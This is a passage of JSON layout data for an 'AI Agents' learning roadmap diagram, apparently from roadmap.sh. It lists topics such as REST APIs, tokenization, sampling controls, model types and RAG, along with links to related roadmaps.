\"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 66,\n      \"positionAbsolute\": { \"x\": 383.86539064124656, \"y\": -132.6034020245566 },\n      \"dragging\": false,\n      \"style\": { \"width\": 21, \"height\": 66 },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 21, \"height\": 66 }\n    },\n    {\n      \"id\": \"Ji35JsKgUQXN4DJGEgTAC\",\n      \"type\": \"title\",\n      \"position\": { \"x\": 287.48246683384076, \"y\": -68.9683088092861 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI Agents\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": { \"x\": 345.36539064124656, \"y\": -71.10340202455662 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {},\n      \"measured\": { \"width\": 161, \"height\": 68 }\n    },\n    {\n      \"id\": \"kpF15oUmlUmk1qVGEBB7Y\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": 517.0942414053277, \"y\": -136.9615199492601 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"yHmHXymPNWwu8p1vvqD3o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": { \"x\": 548.0942414053277, \"y\": -133.9615199492601 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": { \"width\": 355, \"height\": 143 },\n      \"resizing\": false,\n      \"measured\": { \"width\": 355, \"height\": 143 }\n    },\n    {\n      \"id\": \"if9eTna5NRTMStVwpSwDP\",\n      \"type\": \"button\",\n      \"position\": { \"x\": 529.5942414053277, \"y\": -55.103402024556615 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": { \"width\": 330, \"height\": 49 },\n      \"resizing\": false,\n      \"positionAbsolute\": { \"x\": 560.5942414053277, \"y\": -52.103402024556615 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 330, \"height\": 49 }\n    },\n    {\n      \"width\": 412,\n      \"height\": 121,\n      \"id\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": 39.982758882202006, \"y\": 3244.0164384242175 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Visit the following relevant tracks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"m9eO0jLGuR_9w2JJbe_g2\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": { \"x\": -151.0311490763803, \"y\": 2838.2842366925815 },\n      \"dragging\": false,\n      \"style\": { \"width\": 412, \"height\": 121 },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 412, \"height\": 121 }\n    },\n    {\n      \"width\": 21,\n      \"height\": 85,\n      \"id\": \"xi0QAi4kXm3-IFKgopnOP\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 235.48275888220198, \"y\": 3365.0164384242175 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"RLtk1C3gofHnLJ17x3o5b\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": { \"x\": 44.468850923619726, \"y\": 2959.2842366925815 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 21, \"height\": 85 },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": { \"width\": 21, \"height\": 85 }\n    },\n    {\n      \"width\": 150,\n      \"height\": 49,\n      \"id\": \"NrTAfxHCksgqSkhnrO4kF\",\n      \"type\": \"button\",\n      \"position\": { \"x\": 56.98275888220195, \"y\": 3300.7409891427583 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI Engineer\",\n        \"href\": \"https://roadmap.sh/ai-engineer\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"-sFboM4eFUMVq1tlPl-fV\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -134.0311490763803, \"y\": 2895.0087874111223 },\n      \"style\": { \"width\": 378, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": { \"width\": 150, \"height\": 49 }\n    },\n    {\n      \"id\": \"Wm2VPi1Tn_Y7dqPowny69\",\n      \"type\": \"linksgroup\",\n      \"position\": { \"x\": -160.95487988355524, \"y\": -149.65280636791104 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"29I4Uf1Z74ihhM4cpfaP7\",\n            \"label\": \"AI Engineer Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/ai-engineer\"\n          },\n          {\n            \"id\": \"9IzkW8kJ-4TiqEuoeyteP\",\n            \"label\": \"AI and Data Scientist Roadmap\",\n            \"url\": \"https://roadmap.sh/ai-data-scientist\"\n          },\n          {\n            \"id\": \"tvB9Bt9JTO98FlPqvPZGl\",\n            \"label\": \"MLOps Roadmap\",\n            \"url\": \"https://roadmap.sh/mlops\"\n          },\n          {\n            \"id\": \"usMWqZBoyrbkxGv-YHziv\",\n            \"label\": \"AI Red Teaming Roadmap\",\n            \"url\": \"https://roadmap.sh/ai-red-teaming\"\n          },\n          {\n            \"id\": \"BOm0mlohoZzmcooxNYPhr\",\n            \"label\": \"Prompt Engineering Roadmap\",\n            \"url\": \"https://roadmap.sh/prompt-engineering\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 332,\n      \"height\": 227,\n      \"positionAbsolute\": { \"x\": -158.2278161929031, \"y\": 12.440044092122179 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": { \"width\": 352, \"height\": 96 },\n      \"measured\": { \"width\": 332, \"height\": 227 },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"VPI89s-m885r2YrXjYxdd\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 232.98246683384076, \"y\": 119.8447875361903 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Basic Backend Development\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QtTwecLdvQa8pgELJ6i80\"\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": { \"width\": 270 },\n      \"measured\": { \"width\": 270, \"height\": 49 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"McREk2zHOlIrqbGSKbX-J\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 232.98246683384076, \"y\": 172.8447875361903 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Git and Terminal Usage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QtTwecLdvQa8pgELJ6i80\"\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": { \"width\": 270 },\n      \"measured\": { \"width\": 270, \"height\": 49 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"QtTwecLdvQa8pgELJ6i80\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 232.98246683384076, \"y\": 225.8447875361903 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"REST API Knowledge\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": { \"width\": 270 },\n      \"measured\": { \"width\": 270, \"height\": 49 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": true\n    },\n    {\n      \"id\": \"amfuroaEeP1sqhvPN-jgO\",\n      \"type\": \"button\",\n      \"position\": { \"x\": 592.8266896348252, \"y\": 119.8447875361903 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Backend Beginner Roadmap\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"https://roadmap.sh/backend?r=backend-beginner\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4036d6\",\n        \"oldId\": \"Ynvi5skgC85lgm96V_p42\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 272, \"height\": 49 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 272,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"kA1ggkT-2KI0cEdd3rIcM\",\n      \"type\": \"button\",\n      \"position\": { \"x\": 592.8266896348252, \"y\": 172.8447875361903 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Git and GitHub Roadmap\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"https://roadmap.sh/git-github?r=git-github-beginner\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4036d6\",\n        \"oldId\": \"Ynvi5skgC85lgm96V_p42\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 272, \"height\": 49 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 272,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"Ynvi5skgC85lgm96V_p42\",\n      \"type\": \"button\",\n      \"position\": { \"x\": 592.8266896348252, \"y\": 225.8447875361903 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"API Design Roadmap\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"https://roadmap.sh/api-design\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4036d6\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 272, \"height\": 49 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 272,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"imzXXZPt8wNny1oe3-MeN\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 266.48246683384076, \"y\": 72.34719363208896 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Learn the Pre-requisites\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 203, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"eeU25xBGXtFFisDckfn31\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": 262.48246683384076, \"y\": 349.6813863708485 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"LLM Fundamentals\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 52,\n      \"style\": {},\n      \"measured\": { \"width\": 211, \"height\": 52 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ZF5_5Y5zqa75Ov22JACX6\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 582.685294294251, \"y\": 351.1813863708485 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Transformer Models and LLMs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MhdWb-tUnvyWe9sj86Eg0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": { \"width\": 310 },\n      \"measured\": { \"width\": 284, \"height\": 49 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"fDFxKOTLw6O41OGVmRuyy\",\n      \"type\": \"section\",\n      \"position\": { \"x\": 582.685294294251, \"y\": 397.28863122380324 },\n      \"width\": 284,\n      \"height\": 219,\n      \"style\": { \"width\": 219, \"height\": 183 },\n      \"selected\": true,\n      \"data\": {\n        \"style\": { \"backgroundColor\": \"#ffffff\", \"borderColor\": \"#000000\" }\n      },\n      \"measured\": { \"width\": 284, \"height\": 219 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"JBorUqfR1T7kFzwHfdJm4\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 653.185294294251, \"y\": 406.2063076021101 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Model Mechanis\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 143, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"GAjuWyJl9CI1nqXBp6XCf\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 595.185294294251, \"y\": 449.2063076021101 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tokenization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 259, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"dyn1LSioema-Bf9lLTgUZ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 595.185294294251, \"y\": 502.20630760211014 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Context Windows\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 259, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"1fiWPBV99E2YncqdCgUw2\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 595.185294294251, \"y\": 555.2063076021101 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Token Based Pricing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 259, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"W0402lPcZoaTL1OMTED6o\",\n      \"type\": \"section\",\n      \"position\": { \"x\": 581.685294294251, \"y\": 613.6969577367049 },\n      \"width\": 285,\n      \"height\": 333,\n      \"style\": { \"width\": 219, \"height\": 183 },\n      \"selected\": true,\n      \"data\": {\n        \"style\": { \"backgroundColor\": \"#ffffff\", \"borderColor\": \"#000000\" },\n        \"oldId\": \"fDFxKOTLw6O41OGVmRuyy\"\n      },\n      \"measured\": { \"width\": 285, \"height\": 333 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"DUOWFOfqpppC9lZZR2_y2\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 639.185294294251, \"y\": 622.6146341150118 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Generation Controls\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"JBorUqfR1T7kFzwHfdJm4\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 171, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"L1zL1GzqjSAjF06pIIXhy\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 595.185294294251, \"y\": 665.6146341150118 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Temperature\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"icbp1NjurQfdM0dHnz6v2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 136,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 136, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"z_N-Y0zGkv8_qHPuVtimL\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 595.185294294251, \"y\": 718.6146341150118 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Frequency Penalty\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dyn1LSioema-Bf9lLTgUZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 259, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Vd8ycw8pW-ZKvg5WYFtoh\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 595.185294294251, \"y\": 771.6146341150118 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Presence Penalty\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Bn_BkthrVX_vOuwQzvPZa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 259, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"icbp1NjurQfdM0dHnz6v2\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 736.185294294251, \"y\": 665.6146341150118 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Top-p\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GAjuWyJl9CI1nqXBp6XCf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 117,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 117, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"K0G-Lw069jXUJwZqHtybd\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 595.185294294251, \"y\": 824.6146341150118 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Stopping Criteria\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Bn_BkthrVX_vOuwQzvPZa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 260,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 260, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"DSJAhQhc1dQmBHQ8ZkTau\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 236.86750909294227, \"y\": 436.17702805928684 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Open Weight Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"tJYmEDDwK0LtEux-kwp9B\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 53,\n      \"style\": { \"width\": 217 },\n      \"measured\": { \"width\": 262, \"height\": 53 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"tJYmEDDwK0LtEux-kwp9B\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 236.86750909294227, \"y\": 493.17702805928684 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Closed Weight Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 53,\n      \"style\": { \"width\": 217 },\n      \"measured\": { \"width\": 262, \"height\": 53 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"S1KLwzUZastfV9daGbYTk\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": 483.685294294251, \"y\": 625.2837601979952 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.75 }\n      },\n      \"zIndex\": 999,\n      \"width\": 100,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": { \"width\": 100, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"X8W7EWSJxYiY50sEs38fo\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": 236.86750909294227, \"y\": 608.7837601979952 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Model Families and Licences\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 53,\n      \"style\": {},\n      \"measured\": { \"width\": 262, \"height\": 53 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"i2NE6haX9-7mdoV5LQ3Ah\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -157.99208093839397, \"y\": 210.31600089748082 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Streamed vs Unstreamed Responses\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"B8dzg61TGaknuruBgkEJd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 332,\n      \"height\": 53,\n      \"style\": { \"width\": 332 },\n      \"measured\": { \"width\": 332, \"height\": 53 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"N3yZfUxphxjiupqGpyaS9\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -157.99208093839397, \"y\": 267.3160008974808 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Reasoning vs Standard Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"B8dzg61TGaknuruBgkEJd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 332,\n      \"height\": 53,\n      \"style\": { \"width\": 332 },\n      \"measured\": { \"width\": 332, \"height\": 53 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"5OW_6o286mj470ElFyJ_5\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -157.99208093839397, \"y\": 324.3160008974808 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Fine-tuning vs Prompt Engineering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"B8dzg61TGaknuruBgkEJd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 332,\n      \"height\": 53,\n      \"style\": { \"width\": 332 },\n      \"measured\": { \"width\": 332, \"height\": 53 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"UIm54UmICKgep6s8Itcyv\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -157.99208093839397, \"y\": 381.3160008974808 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Embeddings and Vector Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"B8dzg61TGaknuruBgkEJd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 332,\n      \"height\": 53,\n      \"style\": { \"width\": 332 },\n      \"measured\": { \"width\": 332, \"height\": 53 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"qwVQOwBTLA2yUgRISzC8k\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -157.99208093839397, \"y\": 438.3160008974808 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Understand the Basics of RAG\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"B8dzg61TGaknuruBgkEJd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 332,\n      \"height\": 53,\n      \"style\": { \"width\": 332 },\n      \"measured\": { \"width\": 332, \"height\": 53 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"7-EqPC6VDTiFn8DfM7V63\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -117.99208093839397, \"y\": 608.7837601979952 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Understand the Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"X8W7EWSJxYiY50sEs38fo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 53,\n      \"style\": {},\n      \"measured\": { \"width\": 252, 